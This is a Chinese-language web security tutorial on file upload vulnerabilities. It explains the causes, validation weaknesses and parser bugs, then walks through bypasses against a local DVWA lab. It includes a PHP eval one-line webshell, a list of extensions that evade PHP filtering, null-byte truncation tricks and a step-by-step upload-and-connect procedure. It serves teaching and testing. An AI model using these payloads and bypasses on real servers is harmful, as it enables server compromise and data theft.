# 0x00 准备工作
浏览器 和 burpsuite 的代理设置好之后 就可以开始搞了

常用测试payload:
- <?php phpinfo();?>
# 0x01 文件上传漏洞原理
(-)首先 什么是文件上传漏洞?
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷
而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。
如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
(二) 造成文件上传漏洞的原因以及原理
原因:
(1)对于上传文件的后缀名(扩展名)没有做较为严格的限制
(2) 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
(3) 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
(4)对于web server对于上传文件或者指定目录的行为没有做限制
原理:
在 WEB 中进行文件上传的原理是
通过将表单设为 multipart/form-data
同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器
服务器端读取这个分段 (multipart)的数据信息
并将其中的文件内容提取出来并保存的
通常在进行文件保存的时候
服务器端会读取文件的原始文件名
并从这个原始文件名中得出文件的扩展名
而后随机为文件起一个文件名 ( 为了防止重复 )
并且加上原始文件的扩展名来保存到服务器上
(三)文件上传漏洞的攻击与防御方式
1. 前端限制
function check(){
var filename=document.getElementById(“file”);
var str=filename.value.split(“.”);
var ext=str[str.length-1];
if(ext==’gif’||ext==’jpeg’||ext==’png’||ext==’jpg’){
return true;
}else{
alert(“只允许上传图片”)
return false;
}
return false;
}
从源代码中可以看出 前端允许上传图片的白名单 的可上传类型
在表单中使用check()函数调用js中的函数来检查上传文件的扩展名
其实正所谓前端限制都是纸老虎
实际上没有任何用处,任何攻击者都可以轻而易举的破解
绕过方法
绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名
通过BurpSuite工具,截取数据包
并将数据包中文件扩展名 更改为 不允许上传的图片类型
来达到绕过目的 从而getshell
检查扩展名
就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查
如果不合法,则拒绝这次上传
在检查扩展名是否合法的时候,有2种策略:
1.黑名单策略,文件扩展名在黑名单中的为不合法:
黑名单代码如下:
$postfix = end(explode(‘.’,’$_POST[‘filename’]);
if($postfix == ‘php’||$postfix == ‘jsp’||$postfix == ‘asp’){
echo “error”;
return;
}
如果根据白名单策略 用户上传不合法 的文件类型 则不允许上传
白名单相对而言可以通过限制用户的上传合格的文件类型 可以更好的防止各种方法来进行注入和突破
原理
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。
绕过方法
在一些Web server中,存在解析漏洞
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
(四)加强文件头内容来检查文件类型
使用对于文件内容的验证机制 相对而言更准确 更安全
这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位
通过判断用户上传的文件的前10个字节,基本上就能判断出一个文件的类型了
可以通过比如php的exif_imagetype()函数,一个通过这种方法来过滤的示例代码如下
if (! exif_imagetype($_FILES[‘uploadedfile’][‘tmp_name’])) {
echo “File is not an image”;
return;
}
常见上传图片文件头类型
jpg的文件头内容
- FF D8 FF E0 00 10 4A 46 49 46
gif的文件头内容
- 47 49 46 38 39 61
png的文件头内容
- 89 50 4E 47
绕过方法
给上传脚本加上相应的幻数头字节就可以
php引擎会将 <?之前的内容当作html文本,不解释而跳过之
后面的代码仍然能够执行
特殊后缀名绕过方法 也很常用
我比较喜欢使用
就是 比如 在test.php 后面 多添加1个空格 【test.php 】
00截断绕过 也是我很喜欢的绕过方法
文件上传原理
在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束
利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格
容易产生0x00上传截断漏洞
文件上传漏洞绕过方法
通过抓包截断将【test.php.jpg】后面的一个【.】换成【0x00】
这样在上传的时候,当文件系统读到【0x00】的时候
便会认为文件已经结束
从而将【test.php.jpg】的内容写入到【test.php】中
从而达到绕过目的 从而getshell
# 0x02 实战
(1)绕过方法检测第1步测试
先上传1个普通图片试试
抓包看看返回的图片路径

(2)上传成功之后 在浏览器中拼接一下地址
可以看看是否真的上传成功
- http://localhost/dvwa/hackable/uploads/01.jpg

可以分析看出如下信息;
<1>图片名字未修改 直接提交上传
<2>知道了上传文件夹所在位置 可以上传小马 测试一下了
(3)修改图片名字 为02.php 放到Repeater里面重放 看前端是否做了上传文件名类型限制

绕过方法测试总结:
- Php
- Php3
- Pht
- Phtml
- phphpp
- Phphpp
常用的进行文件路径截断的字符如下
- ?
- %00
上传漏洞测试流程:
- 1.可以随便传一个123.jpg正常图片
- 2.通过BP在图片中加入一句话代码<?php @eval($_POST[123]);?> ,不妨多加几个<<<
- 3.修改文件名为123.pht或者123.phtml等等
- 4.再次发送数据包
- 5.如果发送不成功,上传页面没有显示上传成功,回到BP的代理页面修改文件名为123.pht再放包
- 6.找到图片地址,用菜刀连即可。
常用Content-Type类型:
- Content-Type:jmage/jpeg
- Content-Type: image/png
针对于post注入
- Content-Type: application/json
- Content-Type: application/json;charset=utf-8
针对于xml注入
- Content-Type: text/xml
针对于前端限制绕过注入
- Content-Type: application/x-www-form-urlencoded;charset=utf-8
常用数据包格式:
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=59dvi0thtisd81vnu7c56igov7
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—————————110971016026805
Content-Length: 280436
—————————–110971016026805
Content-Disposition: form-data; name=”MAX_FILE_SIZE”
100000
—————————–110971016026805
Content-Disposition: form-data; name=”uploaded”; filename=”02.jpg”
Content-Type: image/jpeg
漏洞危害:
本地限制不严多数情况下危害较小,但某些情况下影响重大:
文件上传限制不严可导致用户上传任意文件
如果带有恶意代码的可执行文件被上传到服务器上可以导致服务器被入侵。
验证码限制被绕过可以导致用户密码被爆破或者撞库
可以导致用户账户被盗取
一旦攻击者上传网马成功 控制服务器权限
可以进行内网渗透 xss蠕虫等更进一步的危害
修复方案:
在服务器的后端对用户数输入进行严格限制并对用户权限进行验证。